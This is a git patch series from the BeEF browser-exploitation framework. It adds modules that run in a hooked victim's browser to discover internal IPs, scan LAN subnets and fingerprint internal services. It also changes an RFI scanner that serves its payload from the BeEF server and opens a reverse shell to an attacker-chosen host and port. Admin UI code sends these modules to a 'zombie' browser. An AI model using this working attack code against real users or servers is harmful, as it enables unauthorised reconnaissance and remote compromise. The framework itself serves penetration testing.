Get_internal_ip_webrtc < BeEF::Core::Command content = {} content['Result'] = @datastore['result'] save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # save the network host + if @datastore['results'] =~ /IP is ([\d\.,]+)/ + ips = $1.to_s.split(/,/) + if !ips.nil? && !ips.empty? + ips.uniq.each do |ip| + next unless ip =~ /^[\d\.]+$/ + next if ip =~ /^0\.0\.0\.0$/ + print_debug("Hooked browser has network interface #{ip}") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r.save + end + end + end + end + end end diff --git a/modules/network/cross_origin_scanner/module.rb b/modules/network/cross_origin_scanner/module.rb index 0c3902bf0..4a080bc21 100644 --- a/modules/network/cross_origin_scanner/module.rb +++ b/modules/network/cross_origin_scanner/module.rb @@ -9,6 +9,25 @@ class Cross_origin_scanner < BeEF::Core::Command content = {} content['result'] = @datastore['result'] save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # log the network service + if @datastore['results'] =~ /ip=(.+)&port=([\d]+)&status/ + ip = $1 + port = $2 + print_debug("Hooked browser found HTTP server #{ip}:#{port}") + if !ip.nil? && !port.nil? + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => port, :type => 'HTTP Server (CORS)', :cid => cid) + r.save + end + end + end + end def self.options diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 79565b7e3..a11a03862 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -244,7 +244,7 @@ beef.execute(function() { img.onerror = function() { dom.removeChild(this); } img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'discovered='+signature_name+"&url="+escape(this.src));dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src));dom.removeChild(this); beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]"); } } diff --git a/modules/network/internal_network_fingerprinting/module.rb b/modules/network/internal_network_fingerprinting/module.rb index 971e02e83..cb928e86f 100644 --- a/modules/network/internal_network_fingerprinting/module.rb +++ b/modules/network/internal_network_fingerprinting/module.rb @@ -24,5 +24,25 @@ class Internal_network_fingerprinting < BeEF::Core::Command content['fail'] = 'No devices/applications have been discovered.' end save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + if @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=([\d]+)&discovered=(.+)&url=(.+)/ + proto = $1 + ip = $2 + port = $3 + discovered = $4 + url = $5 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found '#{discovered}' [ip: #{ip}]") + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => discovered, :cid => cid) + r.save + end + end + + end + end end From a168274e7ed0d190730dbd7daf0e10d592d0d635 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 19 Jan 2015 08:12:25 +0000 Subject: [PATCH 05/19] update supported browsers in module configs --- modules/debug/test_cors_request/config.yaml | 7 ++++++- modules/host/get_internal_ip/config.yaml | 7 +++---- modules/host/get_internal_ip_webrtc/config.yaml | 2 +- modules/network/cross_origin_scanner/config.yaml | 7 ++++++- 4 files changed, 16 insertions(+), 7 deletions(-) diff --git a/modules/debug/test_cors_request/config.yaml b/modules/debug/test_cors_request/config.yaml index 977ce84c3..a9e8cf969 100644 --- a/modules/debug/test_cors_request/config.yaml +++ b/modules/debug/test_cors_request/config.yaml @@ -11,9 +11,11 @@ beef: name: "Test CORS Request" description: "Test the beef.net.cors.request function by retrieving a URL." authors: ["bcoles"] + # http://caniuse.com/cors target: working: ["ALL"] not_working: + # CORS is partially supported on IE 8 & 9 IE: min_ver: 6 max_ver: 7 @@ -22,7 +24,10 @@ beef: max_ver: 11 C: min_ver: 1 - max_ver: 2 + max_ver: 3 S: min_ver: 1 max_ver: 3 + F: + min_ver: 1 + max_ver: 3 diff --git a/modules/host/get_internal_ip/config.yaml b/modules/host/get_internal_ip/config.yaml index de8941680..b75085865 100755 --- a/modules/host/get_internal_ip/config.yaml +++ b/modules/host/get_internal_ip/config.yaml @@ -8,9 +8,8 @@ beef: get_internal_ip: enable: true category: "Host" - name: "Get Internal IP" - description: "Retrieve the internal (behind NAT) IP address of the victim machine using an unsigned Java applet" + name: "Get Internal IP (Java)" + description: "Retrieve the internal (behind NAT) IP address of the victim machine using an unsigned Java applet.

The browser must have Java enabled and configured to allow execution of unsigned Java applets." authors: ["antisnatchor"] target: - working: ["IE", "FF", "O"] - user_notify: ["C", "S"] + user_notify: ["ALL"] diff --git a/modules/host/get_internal_ip_webrtc/config.yaml b/modules/host/get_internal_ip_webrtc/config.yaml index 77dc387df..f0dc77703 100755 --- a/modules/host/get_internal_ip_webrtc/config.yaml +++ b/modules/host/get_internal_ip_webrtc/config.yaml @@ -13,4 +13,4 @@ beef: authors: ["xntrik", "@natevw"] target: working: ["C", "FF"] - unknown: ["All"] + not_working: ["ALL"] diff --git a/modules/network/cross_origin_scanner/config.yaml b/modules/network/cross_origin_scanner/config.yaml index 77202c349..7cedc2e37 100644 --- a/modules/network/cross_origin_scanner/config.yaml +++ b/modules/network/cross_origin_scanner/config.yaml @@ -11,9 +11,11 @@ beef: name: "Cross-Origin Scanner" description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF." authors: ["bcoles"] + # http://caniuse.com/cors target: working: ["ALL"] not_working: + # CORS is partially supported on IE 8 & 9 IE: min_ver: 6 max_ver: 7 @@ -22,7 +24,10 @@ beef: max_ver: 11 C: min_ver: 1 - max_ver: 2 + max_ver: 3 S: min_ver: 1 max_ver: 3 + F: + min_ver: 1 + max_ver: 3 From 1318ccf019d9228febdcae044269f5e1a8fd4fec Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 20 Jan 2015 12:18:50 +0000 Subject: [PATCH 06/19] remove payload url --- .../media/javascript/ui/panel/tabs/ZombieTabNetwork.js | 3 +-- modules/exploits/rfi_scanner/command.js | 2 +- modules/exploits/rfi_scanner/config.yaml | 2 +- modules/exploits/rfi_scanner/module.rb | 4 ---- 4 files changed, 3 insertions(+), 8 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index 49ad129c2..b2b8266c7 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -436,12 +436,11 @@ ZombieTab_Network = function(zombie) { var mod_id = get_module_id("rfi_scanner"); var lhost = prompt("Enter local IP for connect back shell:", 'LHOST'); var lport = prompt("Enter local port for connect back shell:", 'LPORT'); - var payload_url = prompt("Enter BeEF server URL:", 'http://beef_host:beef_port/'); alert("Now start your reverse shell handler on " + lhost + ':' + lport); commands_statusbar.update_sending('Shellshock scanning ' + ip + '...'); $jwterm.ajax({ contentType: 'application/json', - data: JSON.stringify({"rproto":proto, "rhost":ip, "rport":port, "lhost":lhost, "lport":lport, "payload_url":payload_url, "payload":"reverse_php"}), + data: JSON.stringify({"rproto":proto, "rhost":ip, "rport":port, "lhost":lhost, "lport":lport, "payload":"reverse_php"}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, diff --git a/modules/exploits/rfi_scanner/command.js b/modules/exploits/rfi_scanner/command.js index 9c2170421..05d6240b7 100644 --- a/modules/exploits/rfi_scanner/command.js +++ b/modules/exploits/rfi_scanner/command.js @@ -10,7 +10,7 @@ beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var base_dir = '<%= @base_dir %>'; - var payload_url = '<%= @payload_url %>/rfi_php_<%= @command_id %>.txt?'; + var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?'; var target = rproto + '://' + rhost + ':' + rport + base_dir; var wait = '<%= @wait %>'; diff --git a/modules/exploits/rfi_scanner/config.yaml b/modules/exploits/rfi_scanner/config.yaml index c0e52770a..5252a4f2b 100644 --- a/modules/exploits/rfi_scanner/config.yaml +++ b/modules/exploits/rfi_scanner/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Exploits" name: "RFI Scanner" - description: "This module scans the specified web server for ~2,500 remote file include vulnerabilities using the
fuzzdb RFI list. Many of these vulns require the target to have register_globals enabled in the PHP config.

The scan will take about 10 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below.

This module mounts the payload on the BeEF server. Be sure to specify the BeEF server URL below for the target server to connect to." + description: "This module scans the specified web server for ~2,500 remote file include vulnerabilities using the fuzzdb RFI list. Many of these vulns require the target to have register_globals enabled in the PHP config.

The scan will take about 10 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below." authors: ["bcoles"] target: working: ["ALL"] diff --git a/modules/exploits/rfi_scanner/module.rb b/modules/exploits/rfi_scanner/module.rb index 83d5ab4ad..70c22fa64 100644 --- a/modules/exploits/rfi_scanner/module.rb +++ b/modules/exploits/rfi_scanner/module.rb @@ -149,11 +149,8 @@ EOS def self.options configuration = BeEF::Core::Configuration.instance - proto = configuration.get("beef.http.https.enable") == true ? "https" : "http" - beef_port = configuration.get("beef.http.public_port") || configuration.get("beef.http.port") lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host") lhost = "" if lhost == "0.0.0.0" - url = "#{proto}://#{lhost}:#{beef_port}" return [ { 'name' => 'rproto', 'type' => 'combobox', @@ -173,7 +170,6 @@ EOS { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, { 'name' => 'base_dir', 'ui_label' => 'Base Directory', 'value' => '/' }, - { 'name' => 'payload_url', 'ui_label' => 'BeEF server URL', 'value' => url }, { 'name' => 'payload', 'type' => 'combobox', 'ui_label' => 'Payload', From b105288a9bb37a78368d428f134c655940689ff0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 20 Jan 2015 15:19:09 +0000 Subject: [PATCH 07/19] Add Identify LAN Subnets module --- .../network/identify_lan_subnets/command.js | 123 ++++++++++++++++++ .../network/identify_lan_subnets/config.yaml | 16 +++ .../network/identify_lan_subnets/module.rb | 48 +++++++ 3 files changed, 187 insertions(+) create mode 100644 modules/network/identify_lan_subnets/command.js create mode 100644 modules/network/identify_lan_subnets/config.yaml create mode 100644 modules/network/identify_lan_subnets/module.rb diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js new file mode 100644 index 000000000..a4347324d --- /dev/null +++ b/modules/network/identify_lan_subnets/command.js @@ -0,0 +1,123 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if(!beef.browser.isFF() && !beef.browser.isC()){ + beef.debug("[command #<%= @command_id %>] Browser is not supported."); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser"); + } + + var min_timeout = 500; + var ranges = [ + '192.168.0.0', + '192.168.1.0', + '192.168.2.0', + '192.168.10.0', + '192.168.100.0', + '192.168.123.0', + '10.0.0.0', + '10.0.1.0', + '10.1.1.0', + '10.10.10.0', + '172.16.0.0', + '172.16.1.0' + ]; + +var doScan = function(timeout) { + + var discovered_hosts = []; + var proto = "http"; + + var doRequest = function(host) { + var d = new Date; + var xhr = new XMLHttpRequest(); + xhr.timeout = timeout; + xhr.onreadystatechange = function(){ + if(xhr.readyState == 4){ + var time = new Date().getTime() - d.getTime(); + var aborted = false; + // if we call window.stop() the event triggered is 'abort' + // http://www.w3.org/TR/XMLHttpRequest/#event-handlers + xhr.onabort = function(){ + aborted = true; + } + xhr.onloadend = function(){ + if(time < timeout){ + // 'abort' fires always before 'onloadend' + if(time > 1 && aborted === false){ + beef.debug('Discovered host ['+host+'] in ['+time+'] ms'); + discovered_hosts.push(host); + } + } + } + } + } + xhr.open("GET", proto + "://" + host, true); + xhr.send(); + } + + var requests = new Array(); + for (var i = 0; i < ranges.length; i++) { + // the following returns like 192.168.0. + var c = ranges[i].split('.')[0]+'.'+ + ranges[i].split('.')[1]+'.'+ + ranges[i].split('.')[2]+'.'; + // for every entry in the 'ranges' array, request + // the most common gateway IPs, like: + // 192.168.0.1, 192.168.0.100, 192.168.0.254 + requests.push(c + '1'); + requests.push(c + '100'); + requests.push(c + '254'); + } + + // process queue + var count = requests.length; + beef.debug("[command #<%= @command_id %>] Identifying LAN hosts ("+count+" URLs) (Timeout " + timeout + "ms)"); + var check_timeout = (timeout * count + parseInt(timeout,10)); + var handle = setInterval(function() { + if (requests.length > 0) { + doRequest(requests.pop()); + } + }, timeout); + + // check for results + checkResults = function() { + + if (handle) { + beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]"); + clearInterval(handle); + handle = 0; + } + + var hosts = discovered_hosts.join(","); + beef.debug("Discovered " + discovered_hosts.length + " hosts: " + hosts); + if (discovered_hosts.length >= 5) { + // if we get 5+ results something probably went wrong. this happens sometimes. + if (timeout > min_timeout) { + // if timeout is more than 500ms then decrease timeout by 500ms and try again + beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); + doScan(timeout-500); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts); + } + } else if (discovered_hosts.length == 0) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results"); + } else { + beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); + } + } + setTimeout("checkResults();", check_timeout); + +} + +var timeout = "<%= @timeout %>"; +if (isNaN(timeout) || timeout < 1) timeout = min_timeout; +doScan(parseInt(timeout,10)); + +}); diff --git a/modules/network/identify_lan_subnets/config.yaml b/modules/network/identify_lan_subnets/config.yaml new file mode 100644 index 000000000..859adabd1 --- /dev/null +++ b/modules/network/identify_lan_subnets/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + identify_lan_subnets: + enable: true + category: "Network" + name: "Identify LAN Subnets" + description: "Discover active hosts in the internal network(s) of the hooked browser. This module works by attempting to connect to commonly used LAN IP addresses and timing the response." + authors: ["browserhacker.com"] + target: + working: ["FF", "C"] + not_working: ["IE", "S", "O"] diff --git a/modules/network/identify_lan_subnets/module.rb b/modules/network/identify_lan_subnets/module.rb new file mode 100644 index 000000000..51aa7ca93 --- /dev/null +++ b/modules/network/identify_lan_subnets/module.rb @@ -0,0 +1,48 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +## +# Ported to BeEF from: http://browserhacker.com/code/Ch10/index.html +## + +class Identify_lan_subnets < BeEF::Core::Command + + def self.options + return [ + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (ms)', 'value' => '500'} + ] + end + + def post_execute + content = {} + content['host'] = @datastore['host'] if not @datastore['host'].nil? + content['hosts'] = @datastore['hosts'] if not @datastore['hosts'].nil? + if content.empty? + content['fail'] = 'No active hosts have been discovered.' + end + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # log the network hosts + if @datastore['results'] =~ /^hosts=([\d\.,]+)/ + hosts = "#{$1}" + hosts.split(',').flatten.each do |ip| + next if ip.nil? + next unless ip.to_s =~ /^([\d\.]+)$/ + print_debug("Hooked browser found host #{ip}") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r.save + end + end + end + + end + +end From d75adc089901125cbe39f88791b1a3595cec53d0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 20 Jan 2015 15:36:28 +0000 Subject: [PATCH 08/19] Add context menu for empty Hosts grid --- extensions/admin_ui/media/css/base.css | 6 + .../admin_ui/media/images/icons/adapter.png | Bin 0 -> 1458 bytes .../ui/panel/tabs/ZombieTabNetwork.js | 108 +++++++++++++----- 3 files changed, 85 insertions(+), 29 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/adapter.png diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 37422083f..1acb3d86c 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -108,6 +108,12 @@ background-repeat: no-repeat; } +.network-host-ctxMenu-adapter { + background-image: url(../images/icons/adapter.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + .network-host-ctxMenu-fingerprint { background-image: url(../images/icons/magnifier.png); background-size: 16px 16px; diff --git a/extensions/admin_ui/media/images/icons/adapter.png b/extensions/admin_ui/media/images/icons/adapter.png new file mode 100644 index 0000000000000000000000000000000000000000..f90357942d6f1bb04fd7cbcd48a56c62c3101749 GIT binary patch literal 1458 zcmV;j1x@;iP) zdu-EH6vw~)^|7{FJG-zkQHBE_h$x20BOz+ywszAn*wzkARQzMc#KfR5Fh-0R@ejj5 ziT`L^!plU~jg5_H_cT#M!ov^|L=(bv(D{s zRN~C{XF;J5daDq;Fu7gmipQ1{fRg|=%%wl|B>-@`?e+@%aP9)MS}k-so%k{cr^V#l z7zdl)$KAYWC=^047!=<}mn}s@!%_A?a)9#ka$NlR5{yP8KHR&PV%G(=T8&6VhQ(q+ zU;iL-vNJI-5DR5i)gprXDzWe4qEMM^k&Yt-IYo6F42A%kJSG@1>C*Ou%uO+X@7#{Yct-T#y zuMhX$w+PKmN&(ib!yi|BkeO*lNpT6%($a+Kus?(!&%KKLMZ3{`WgC`0yiW|eaDH>V z?~!F6Bi*Rwz+iNA6s}em1_!;kXF(pCo12vZloG(7*KWYf03{{RXr!12M#DICa5LYvYyyIB2aBhtEF)SynEJqL~ZFRL$2)xLhI~T`~w9aOC3~_889N1>gnoYjt!*)Y>^XB%0~i<>5CFE~V#<7r*i|aR-tu@nXlsoDWMyS3 z1*mhEmad0qa1dsb30A8Ocjo5a62M=*y=ZT5gV*PSB{LH(Eyt7;q8I>EXJllcu+WP9 zh4~@`Tx4QVm?aEcgb*uC9D?rOyV2R%j-jC;;Y~#Vb#-;_va&Mxd_&^+)zs`kClw<8 z%~dfkFAuZblnmI@(<7=MAHhN@MAg+>#cz`-15Hg$*swtXzoP@$68&^eJ?9w22cC2}i`W&R_L@ANlt*vdMqOoQ?fo2w!NK6h1f5YT%&iH78 zhb-GsaXV2}RaJ%rZ$cAk9_buXO_B|1w^YCB+P}XRp1=D`s2xgT&rk82q&-ORD&|EE zr1}~DHeD>+-+KSjp+g7Id+qXKYI~B{b5e|u29V(Yf>b2umF@f7`w!G2(06`HTvL%- z1yJAkB)86@*Hmz9Ls9v9#-{5Fkvt5u0_b+WyK6L=ag@wQBO2srd-3w!4KTiVP4xQ@ z%*UtK?dS{TB268JD(RyI*!j*5erN{A0W9}Fuy`Oj00l58Vd*>>jV}dY*mPC&2M#Vk z`DX@PxFNxylNGu3*IzDW(Z>@9Ak829DiLj8ZQd7BRDB0GWL4y!oT{E@QwRYkZ1-dU z9cemGtZ)J&X*OcVmW7WMpKZUw@eDdVIRvSSb_`fI)((zMm~s;S3&WhbKiS!OH2?qr M07*qoM6N<$g7`?MOaK4? literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index b2b8266c7..b727db008 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -5,7 +5,7 @@ // /* - * The Network tab panel for the selected zombie. + * The Network tab panel for the selected zombie browser. * Loaded in /ui/panel/index.html */ ZombieTab_Network = function(zombie) { @@ -15,22 +15,23 @@ ZombieTab_Network = function(zombie) { // RESTful API token var token = beefwui.get_rest_token(); - var get_module_id = function(name){ - var id = ""; - $jwterm.ajax({ - type: 'GET', - url: "/api/modules/search/" + name + "?token=" + token, - async: false, - processData: false, - success: function(data){ - id = data.id; - }, - error: function(){ - //update_fail("Error getting module id."); - } - }); + // get module ID from name + var get_module_id = function(name){ + var id = ""; + $jwterm.ajax({ + type: 'GET', + url: "/api/modules/search/" + name + "?token=" + token, + async: false, + processData: false, + success: function(data){ + id = data.id; + }, + error: function(){ + commands_statusbar.update_fail("Error getting module id for '"+mod_name+"'"); + } + }); return id; - } + } /* * The panel that displays all identified network services grouped by host @@ -89,12 +90,61 @@ ZombieTab_Network = function(zombie) { rowclick: function(grid, rowIndex) { var r = grid.getStore().getAt(rowIndex).data; }, - containercontextmenu: function(view, e) { - e.preventDefault(); - }, contextmenu: function(e, element, options) { e.preventDefault(); }, + containercontextmenu: function(view, e) { + e.preventDefault(); + var emptygrid_menu = new Ext.menu.Menu({ + items: [ + { + text: 'Get Internal IP (WebRTC)', + iconCls: 'network-host-ctxMenu-adapter', + handler: function() { + var mod_id = get_module_id("get_internal_ip_webrtc"); + commands_statusbar.update_sending('Identifying zombie network adapters ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + },{ + text: 'Identify LAN Subnets', + iconCls: 'network-host-ctxMenu-network', + handler: function() { + var mod_id = get_module_id("identify_lan_subnets"); + commands_statusbar.update_sending('Identifying zombie LAN subnets ...'); + $jwterm.ajax({ + contentType: 'application/json', + data: JSON.stringify({}), + dataType: 'json', + type: 'POST', + url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, + async: false, + processData: false, + success: function(data){ + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); + }, + error: function(){ + commands_statusbar.update_fail('Error sending command'); + } + }); + } + }] + }); + emptygrid_menu.showAt(e.getXY()); + }, rowcontextmenu: function(grid, rowIndex, e) { e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); @@ -126,7 +176,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -148,7 +198,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -177,7 +227,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -199,7 +249,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -228,7 +278,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -250,7 +300,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -375,7 +425,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -397,7 +447,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -422,7 +472,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); @@ -447,7 +497,7 @@ ZombieTab_Network = function(zombie) { async: false, processData: false, success: function(data){ - commands_statusbar.update_sent("Command [" + data.command_id + "] sent successfully"); + commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); From 5d9c62967d84f0c4220df9fc7db877f19c5e9d6c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 24 Jan 2015 18:26:15 +0000 Subject: [PATCH 09/19] Add options to scan commonly used LAN IPs --- extensions/admin_ui/media/css/base.css | 6 + .../admin_ui/media/images/icons/web.png | Bin 0 -> 32569 bytes .../ui/panel/tabs/ZombieTabNetwork.js | 171 +++++++++++++++++- extensions/network/extension.rb | 2 +- .../network/cross_origin_scanner/command.js | 54 ++++-- .../network/cross_origin_scanner/config.yaml | 2 +- modules/network/get_http_servers/command.js | 30 ++- modules/network/get_http_servers/config.yaml | 2 +- .../command.js | 32 ++-- .../config.yaml | 2 +- 10 files changed, 262 insertions(+), 39 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/web.png diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 1acb3d86c..20d817c36 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -108,6 +108,12 @@ background-repeat: no-repeat; } +.network-host-ctxMenu-web { + background-image: url(../images/icons/web.png); + background-size: 16px 16px; + background-repeat: no-repeat; +} + .network-host-ctxMenu-adapter { background-image: url(../images/icons/adapter.png); background-size: 16px 16px; diff --git a/extensions/admin_ui/media/images/icons/web.png b/extensions/admin_ui/media/images/icons/web.png new file mode 100644 index 0000000000000000000000000000000000000000..fba0c645ebd1976191c36a18094f08517e91495a GIT binary patch literal 32569 zcmV)bK&iipP)6}iZA=+(K@Vt(qJVN$;UZMwZm_Ec zV1gUUU}G>gI9pBCc$Y3bq8j>19Sr3s5Dl7}QoJ84nWsDSp zn7y0Ej1&Sz5(`Nx*6E25h>3iQKn*ZdNgNu)B0`BJu_6hg5LFSx5#;okPOKp#u$2%O z9f&cM7&QtJ(qJfK6d_QB1R3(J-mq)G`j)?Q{B;2Q3)aoREx-$bBWbBk8L?uRLcvfJ zG&F=Fh^0i43e}{_Xi~!oVme+#5XIPtaR3xpyryoZQiFSaCzzN`?=U%nv z@9%zl^e-8JY2dZM_W-wy$EKFnbTmaF6e_x+kT4bc5~NUw6+x^BY$2FW>y&Ik;7QV& zgh7O%X@q`=Kw%h2+#rNlVq=qxW4w@RD1&Mg#kUF(|I|KmkVqciYV+V)fUZLlmmrK$gip({34Iso3shIblJ-GAmIuQ)`bkgq z+U$YwKiKOX{zd3t3IN{&{O{9>dFO~}ihKiI(HtPqdD{lL&*(SOp(tQS+5T; z)BqVr^oK5|FD`NQiR!lJ7q3!N4--&Pr8asp3y_b85dl%irXMmpp&ON`T{k!_- z2Eb1O?;MZqtQo6hGbY!~mDurMV<@;{HbXTb==eQQJ&ujdlZr#~S&eKqgOnj42qH;4 z_StPZREtHVbO42mn=PJNSmk?eI!eM&iKRyzODg#kXtT6zGhRwCI?|!u_DLiK zC3Ba3!{8O?`;}K*iV}Yg{3y_RUM>Bc{<#2f2k^d8QnMBYFPP48T|1 zuVy)ZXqtqrld=U6lPV;5`clNaW^%<$mQDwTSwU;iWv1JpAC$lE;d<};E<4_T0e<26 zGWcKX`367*{=6jZ*Jgx`Zs|mZf|aouEvG3X7%eo}mk-!!X9!X$Msq5$81Ucz_$lst zdXa>ovfb!$?~NM2{(l@Hj)$B%zXDOri;m=2TD!zq&t+<25>;4Klak$flgaUMgb0y< zfHd}o`Hmzf-n|$WUU53t(8;%{~CtiCu#hgOB z>o7KQB_L^adklv?CMV0tSmD6@aa2WNFmPzLHpypgws-5e!;k~}_aX2Q07RTyZ!zdD 